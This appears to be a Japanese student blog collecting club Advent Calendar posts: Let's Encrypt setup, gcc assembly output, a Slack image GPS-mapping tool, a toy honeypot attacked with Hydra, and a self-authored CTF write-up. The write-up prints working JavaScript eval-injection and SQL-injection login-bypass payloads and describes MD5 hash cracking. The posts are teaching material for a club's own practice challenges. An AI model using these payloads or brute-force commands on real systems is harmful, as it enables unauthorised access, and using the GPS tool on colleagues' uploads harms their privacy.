読者です 読者をやめる 読者になる 読者になる

眠気

戯言とメモ

adent

書こうと思ってた日にびっくりするほど寝てしまったので適当に書きました。

Let's Encrypt使った話

この記事は OIC ITCreate Club Advent Calendar 2015 16日目(12/16)の記事です。

Let's Encryptにメール送って返ってきたのをしばらく放置していたのですが、

いつの間にかpublicBETAになってて、

やってみると10分くらいで出来たので、

通信を暗号化したいなどの需要には答えてくれるのではないかと思い、書きました。

git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto

これだけでapt-getとか勝手に走って、その通りに答えれば証明書が得られるのですが、

それだと記事としてもアレなので、http2にするためのソレなどを書こうかなと。


nginxに1.9.5からhttp2が取り込まれたということで、nginxでhttp2を使用するには1.9.5以上が必要なのですが、

気がつけば1.9.9がリリースされてたりするので、好きな感じのバージョンをインストールして頂ければなと。

ソースからビルドする場合はnginx: downloadなどから好みのバージョンをインストールし、ビルドして下さい。

aptの場合は/etc/apt/sources.list

deb http://nginx.org/packages/mainline/debian/ squeeze nginx
deb-src http://nginx.org/packages/mainline/debian/ squeeze nginx

とか書いてアレすれば良いんじゃないかなと思います。

デフォルトだと

./letsencrypt-auto certonly --webroot -d ドメイン名 --webroot-path /usr/share/nginx/html

的な感じにしておけば、/etc/letsencrypt/live/ドメイン名/

cert.pem  
chain.pem  
fullchain.pem  
privkey.pem

が作成されるので、

/etc/nginx/nginx.conf

server {
         listen 443 ssl http2;
         server_name  ドメイン名;
        ssl_certificate      /etc/letsencrypt/live/ドメイン名/fullchain.pem;
        ssl_certificate_key  /etc/letsencrypt/live/ドメイン名/privkey.pem;
}

みたいな設定でnginxを再起動すれば一応出来るんじゃないかなと思います。

apacheの場合はデフォルトでプラグインが用意されてるので--apacheなどを付ければカンタンだと思います。

また、80か443しか受け付けてくれないので、サーバを止めずに認証ファイルを受け取る場合はwebrootプラグインを使います。

ちなみに無料のためか証明書の有効期間は90日しかないので、90日内に再度証明書を発行しないといけません。

cronでやれば良いので、こういう感じでやれば良いと思います。

おわり

advnt

暇つぶしアセンブラ

今日も誰も書かないので、適当に。

もう半分くらい自分の記事になってきた…

あとだんだん書くネタが無くなってきたこの頃。


この記事は OIC ITCreate Club Advent Calendar 2015 12日目(12/12)の記事です。

セキュリティキャンプ・キャラバンで拝聴した中島さんのアセンブリ読経がとても良かったので、最近の暇つぶしはもっぱらアセンブリ読経になっている。

gccの最適化とかさせてみる遊び。(mainのみ

$ cat code.c 
#include <stdio.h>

int main(){
    int n=10;
    n++;
    printf("%d",n);
    return 0;
}

適当なCを書く。

とりあえず最適化を無効にしてビルド。

$ gcc -mpreferred-stack-boundary=2 code.c -O0 -o ex
$ objdump -d -M intel --no-show-raw-insn ex

0804841d <main>:
 804841d:       push   ebp
 804841e:       mov    ebp,esp
 8048420:       sub    esp,0xc
 8048423:       mov    DWORD PTR [ebp-0x4],0xa
 804842a:       add    DWORD PTR [ebp-0x4],0x1
 804842e:       mov    eax,DWORD PTR [ebp-0x4]
 8048431:       mov    DWORD PTR [esp+0x4],eax
 8048435:       mov    DWORD PTR [esp],0x80484e0
 804843c:       call   80482f0 <printf@plt>
 8048441:       mov    eax,0x0
 8048446:       leave  
 8048447:       ret 

上のコードの通り、[ebp-0x4]に0xa(10)をmovして、それに0x1をaddしている。

最適化オプションを指定してみる。

$ gcc -mpreferred-stack-boundary=2 code.c -O1  -o ex1
$ objdump -d -M intel --no-show-raw-insn ex1

0804843d <main>:
 804843d:       sub    esp,0xc
 8048440:       mov    DWORD PTR [esp+0x8],0xb
 8048448:       mov    DWORD PTR [esp+0x4],0x8048500
 8048450:       mov    DWORD PTR [esp],0x1
 8048457:       call   8048330 <__printf_chk@plt>
 804845c:       mov    eax,0x0
 8048461:       add    esp,0xc
 8048464:       ret 
 

[esp+0x8]に直接0xb(11)をmovしている。

最初の2行とか、eaxに[ebp-0x4]を入れて戻してみたいな処理が削られている。

サイズの最適化オプションを指定してみる。-Os

$ gcc -mpreferred-stack-boundary=2 code.c -Os  -o exs
$ objdump -d -M intel --no-show-raw-insn exs

08048340 <main>:
 8048340:       push   ebp
 8048341:       mov    ebp,esp
 8048343:       push   0xb
 8048345:       push   0x80484e0
 804834a:       push   0x1
 804834c:       call   8048330 <__printf_chk@plt>
 8048351:       xor    eax,eax
 8048353:       leave  
 8048354:       ret 

mov処理がpushに変わっている。最後のmovもxorに変わってたりしてて面白い。

適当にコードを書いて、ビルドして、印刷して持ち歩くことによって暇つぶしになる。

オプション

最適化オプション


  • もっとCTFのバイナリ問題が解けるようになりたい。
  • Base64読みたかった。

advent3

slackにアップされてる画像からGPS情報取得するやつ

この記事は OIC ITCreate Club Advent Calendar 2015 9日目(12/9)の記事です。


slackでアップロードされる画像に位置情報があるのがすごく気になって

いたけれど、誰もつっこまないし、

誰もアドベントカレンダー書かない日だったので、

無理やり何か作ってみました。

暇なのか。暇じゃないです。全然。

slackにアップロードされている画像に位置情報があった場合、Google Mapにピンを立てます。

ピンのアイコンはファイルをアップしたユーザーのslackアイコンで、

ピンに表示されるのはexif情報の時間です。

github.com

所属しているslackチームの、web apiのtokenがあれば使えます。

trasla.rbを実行後(実行中)、map.htmlでこんな感じで見れると思います。

f:id:lailaiskyn:20151209201618p:plain GPS情報を公開するのもアレなので内容は適当に編集しています。

jsonajaxで取得するため、webサーバを立てるなりして下さい。

これで、slackメンバーの活動とかが見れて遊べます。

あとslackはSNSのようにExif情報などは消してくれないので、

閉じた環境ですが、気にする方は一度スマホの設定を良いかもしれません。


  • スマホの画像がとても大きいわりに、exifはファイルの先頭なので全部ダウンロードするのは無駄な感じがする
  • 位置情報があったメンバーが限られていたのでそこまで面白くもない結果だった

明日は 紅き衝動 さんの「oculusかな?」です!

昨日アドベントカレンダーに載せたやつ

gist.github.com

advent

シンプルでキュートなハニーポットを作る

この記事は OIC ITCreate Club Advent Calendar 20152015 4日目(12/4)の記事です。

3日目の記事は、紅き衝動さんのDocker触ってみよう!– 萌え萌えブログ///キャワワ(^^)/でした。

今日はハニーポット的なものを作ったので紹介しようと思います。 暇じゃない人は読まないで下さい。

そもそもハニーポットとは何でしょう。

Wikipedia先生曰く

f:id:lailaiskyn:20151204174114p:plain

とのこと。

世の中にはプニキ以外にも蜜を狙った人やマシンが沢山いて、それを誘い出そうという感じですね。

そんな世の中には色んなハニーポットがあり、

などが有名どころではないでしょうか。

ログやDionaeaFRなどで眺めているだけでも面白いのですが、上記のハニーポットのほとんどがGUIではないため、初心者やGUIが好きな方には扱いづらいかもしれません。

また、アドベントカレンダーのタイトルにCreateなる文字が入ってる上、ツイッタで作るとか書いたような記憶もあるので、今回はとても簡単なGUIハニーポット的なものを作ってみました。


こんな感じ。

f:id:lailaiskyn:20151204180157g:plain

試行したユーザー名、パスワードがファイルに書き込まれます。

f:id:lailaiskyn:20151204184439p:plain

手作業だと面倒なので、hydraで攻撃してみます

THC Hydraは色んなwebの認証にブルートフォースや辞書攻撃が出来るツールです。

http://sectools.org/logos/hydra-100x100.pngかわいい


Basic認証の場合はこんな感じで実行します。

$ hydra -l admin  -P lower http://localhost:2345

今回はOpenWallが配布しているパスワードファイルを使用します。

[DATA] attacking service http-get on port 2345
1 of 1 target completed, 0 valid passwords found

ログが沢山増えます。

f:id:lailaiskyn:20151204185910p:plain


  • どこがキュートなの

 Qtです。

 時間が無かった。TelnetとかFTPとかもしてみたい。


昨晩書いた記事を、今朝アドベントに載せようと思ったところでこれを思いついたので、書いた記事をボツにして授業中に一日ハッカソンしてました。

wiresharkのアレもあって、自分の中で今ElectronとかよりQtがアツいと思って一発ネタで書いてたけど、Qt…ウーン… SIGNALとかSLOTとかあまり好きになれなかったです。rubyで書けるのはありがたい。

qtbindingsのexampleとか見てたら面白そうなのが色々あったので暇があったら試してみたいです。

Basic認証の部分はステータスコード401(Unauthorized)を返しつつ

レスポンスヘッダにWWW-Authenticate:Basic realm=""を入れるとブラウザとかはBasic認証的な感じになります

あとはお好みで低めのApache等のバージョンとかServerの種類、Server時間、Content-Typeなどを入れるとそれっぽくなると思います。

Basic認証じゃないしパスワードとかそもそもないので安心。 不正アクセスを受けることにしか価値がないのでWikipedia先生の言ってた定義には当てはまると思われます。

以下思ったこととか

  • ちゃんとしたHoneypotすごい。

  • winの人はKFSensorとか使うと良い

  • socket.readするとソケット閉じてくれないのなんとかしたい。

  • 9つどころじゃない首で攻撃してくる

  [f:id:lailaiskyn:20151204191412p:plain



github.com

明日のOIC ITCreate Club Advent Calendar 2015はtera911さんの「xhyveとdockerで〜」です。

答え合わせ

スゴイ内輪でやってるCTF的なやつの答え合わせ的なやつ

自分が作ったのを自分でWriteup書くという自作自演感。

初心者以下の自分が初めての人用にと作ったのでしょうもない上にあまり面白くもないと思うので、身内用に。

1. ba_ev.zip

zipの中に

  • auth.pcap
  • password.txt

があって、

auth.pcapはBasic認証

GET /itc/syuku/ HTTP/1.1
Host:  -mondaiurl-  
Connection: keep-alive
Authorization: Basic Z29yaXJhOm5lbXV0YWk=
Accept: text/html,application/xhtml+xml,application/
...

Z29yaXJhOm5lbXV0YWk=は普通にbase64なので

デコードするとgorira:nemutai

wiresharkなら勝手にデコードしてくれる。

実際にBasic認証のページ( -mondaiurl- /itc/syuku/)にアクセスしてみると、

サーバーからのメッセージ:
password is Password.txt at line pcap's src ip or mac

と言われる。

英語が稚拙なのは作ってたのが真夜中という言い訳をしつつ、pcapのIPアドレスとかMacアドレスを見てみるとどっちも00:00:00:00:00:ffと0.0.0.255で255。

それでpassword.txtの255行目を見ると

253 flipper
254 franklin
255 takoyaki_tabetai
256 frodo
257 honda
258 horses

怪しい文字列takoyaki_tabetai

ちなみにwindowsのメモ帳で開くと改行コードが認識されず全部1行で出るのでsublimeとか他のエディタとかで…

というか何故メモ帳…

とりあえずbasic認証gorira:takoyaki_tabetaiで入ると完全JSで出来た無理ゲーが出てくる。

Monsterをすべて倒せるPlayer nameをslackでavisに直接投げてね。

とあるのでとりあえずplayer nameのとこに何か突っ込めば良いとわかる。

ページのソースを表示でjsをちらっと見ると

func = "(function(){return new Player('" + name + "',400,20)})"
return eval(func)();

文字列のfuncをevalで実行してる部分をなんとかすればいいことがわかる。

god',1000000,1000000)})//

こんな感じでnameにnewするパラメータを入れ、あとの文字列をコメントアウトすれば、

(function(){return new Player('god',1000000,1000000)})//',400,20)})

こんな感じになり、とりあえずクリア出来る。

ハードモードは挿入する文字列に100以上の数字を入れると適当な正規表現パターンに引っかかって強制的に10に書き換えられるので、

god',Infinity,Infinity)})//とかgod',0xffff,0xffff)})///

とかで文字列使わずに強くするか、

god',NaN,99)})///

とかで不死身にするのが良いかなという感じです。

ちなみに最短は','aの4文字

簡単解説すると

(function(){return new Player('','a',400,20)})

こうなって、3つ目以降の引数は無視されて、 'a'はNaNに、デフォルトのHP400が攻撃力に。

very HardはPlayer functionとかMonsterの配列いじったりすればなんとかなると。

おわり

2. pcapのやつ

解凍するとw_pcap.pcapが出てくる。

中身はひたすらSMB2のCreate Requestとかが。

全部目grepしてもいいけど

wiresharkのフィルタで

 smb2.write_data

とかするとファイル書き込みだけに絞れる。

するとhint.txtの中身が

 imyb://◯◯◯◯◯.◯◯/xiu/alzdm9/xkav4.dyy
    1,19,5,12,26,17,27,14,4,16,0,9,19,7,17,16,15,15,18,21,8,13,5,19,18,25,15,16,2,13,2,4,6,20,9,18

1行目imyb://◯◯◯◯◯.◯◯/xiu/alzdm9/xkav4.dyyがurlっぽく、2行目の数字分戻していくとhttp〜になり、シーザー暗号っぽいとわかる。

全部戻すと

http:// -mondaiurl-  /itc/syuku4/hint0.jpg

が出てくる

hint0.jpgをダウンロードして、EXIFを見ると

Make                            : ~ mj9qOzoaWj56Phob+j6aP0o+Ohv6Pzo/mj9aPro/WjtKG/o+ij6aPuo/ShpaPno+mj5g==
Orientation                     : Horizontal (normal)
Resolution Unit                 : inches
Software                        : WklQpM6l0aW5pe+hvKXJpM/JxLv6pe2hvKXeu/o1yri7+go=

MakeとSoftwareにbase64っぽい文字列が。

デコードサイトとかでデコードすると文字化けするのでエンコードEUC-JPとかにすると

Make                                :http:// -mondaiurl- /itc/syuku4/hint.gif
Software                            :ZIPのパスワードは苗字ローマ字5文字

になる。

あとは1個目のgifアニメの途中に出てくる短縮urlにアクセスすればパスワードが出てくるのだけれども、そもそもZIPがない。

さっきのhint0.jpgをunzipとかしてもzipが入っていないのでとりあえずjpegの終端コードを探してみる。

$ hexdump hint0.jpg | grep "ff d9"
00012a0 92 49 24 94 a4 92 49 25 29 24 92 49 4f ff d9 00
00022a0 24 94 a4 92 49 25 29 24 92 49 4f ff d9 00 ff e2
0014cd0 38 45 ff d9 37 7a bc af 27 1c 00 03 c3 d6 67 1c

すると14cd0行目のff d9のあとに37 7a bc af 27 1c 00 03とある。 お分かりの通り、これは7zipのヘッダーなので、あとは

$ 7z x hint0.jpganswer.zipが出てくる。

それにさっきのパスワードを入れて解凍

unzip -P パスワード answer.zip

で答えの404お姉さんが出てくる。

おわり。

3. sql.zip

解凍すると

  • answer.zip
  • hint2.zip
  • q.txt

が。zipにはパスワードがかかっている。

q.txtには

問題 答えを探して見つけてネ
http://59.106.210.146:9999/

hint1 zipのpass = 答え

テスト用 test:testes

とある。

http://59.106.210.146:9999/にアクセスしてみると、

ユーザー名、パスワードを求められる。

とりあえずユーザー名:'、パスワード:aを入力してみるとエラーが。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0cc175b9c0f1b6a831c399e269772661'' at line 1

SQLインジェクションっぽく、パスワードはmd5に変換されていることがわかる。

とりあえずSQLインジェクションのよくあるやつ1' or 1=1; -- 'をユーザー名に入力してログインしてみると

 ログイン成功

id  ユーザー名 パスワード(hashed)
8   root    c0f7e2cc4e2c4fad6f9e1093e3c97088
9   ika     8242328498dc4ea53c5f624382484fc1
11  avis    7245253e24719ba66a84512838cd02f2
13  kotae   863c8bae7363efc4d998c81126048db0
15  test    6e7906b7fb3f8e1c6366c0910050e595

が出てくる。

大体のやつはググれば出てくる(ハズ

人のやつコピペ

8    root    c0f7e2cc4e2c4fad6f9e1093e3c97088 gorira
9    ika    8242328498dc4ea53c5f624382484fc1
11    avis    7245253e24719ba66a84512838cd02f2 nemui
13    kotae    863c8bae7363efc4d998c81126048db0
15    test    6e7906b7fb3f8e1c6366c0910050e595 testes

ikaとkotaeは出てこないので、とりあえずkotaeの03cddbe6f50c559ab6073d5b9c78a450を入れるとhint2.zipが解答できる。

解凍するとhint.txtが出てきて

 md5 レインボーテーブル
    md5 逆変換
    とかでググると…

とか書いてるのでそれっぽいサイトのレインボーテーブルとかでkotaeのパスワードがotukareであることがわかる。

それでanswer.zipを解答するとans.txtが出てくる。

ちなみに、今回の問題は簡単すぎたと思い、隠し問題というか、唯一わからないikaユーザーのパスワードが隠し問題になっていて、

前回の問題の答えが404のおねえさんだったことから、http://5.106.210.146:9999/aaaとかにアクセスして404ページを出してみると、sinatraのデフォルト404ページが出てくる。

ページのhtmlを見てみると、

<head>
<meta hint="get /404 and login user'ika'">
<style type="text/css">
...

metaタグにhint属性があり、http://5.106.210.146:9999/404にアクセスしてみると、ユーザー登録ページが出てくる。

セカンドオーダーsqlインジェクションっぽいけど、ikaユーザーで適当なパスワードでsqlにinsertしてログインすると答えが出る。

おわり


sqlとかよくわからない人用説明

ログイン用のsql

query = "SELECT *  from user where   name like '" + name.to_s + "' and  password = '" + mdpass  + "';"

こんな感じに文字列で作られていて、それをexecute()で実行している。

mdpassはmd5に変換されてしまうので、nameの方に1' or 1=1; -- 'をすると、実行されるsql

SELECT *  from user where   name like '1' or 1=1; -- '' and  password = '" + mdpass  + "';"

--以下はコメントアウトされ、or 1=1がtrueになり、全ての行が選択されるという仕組み。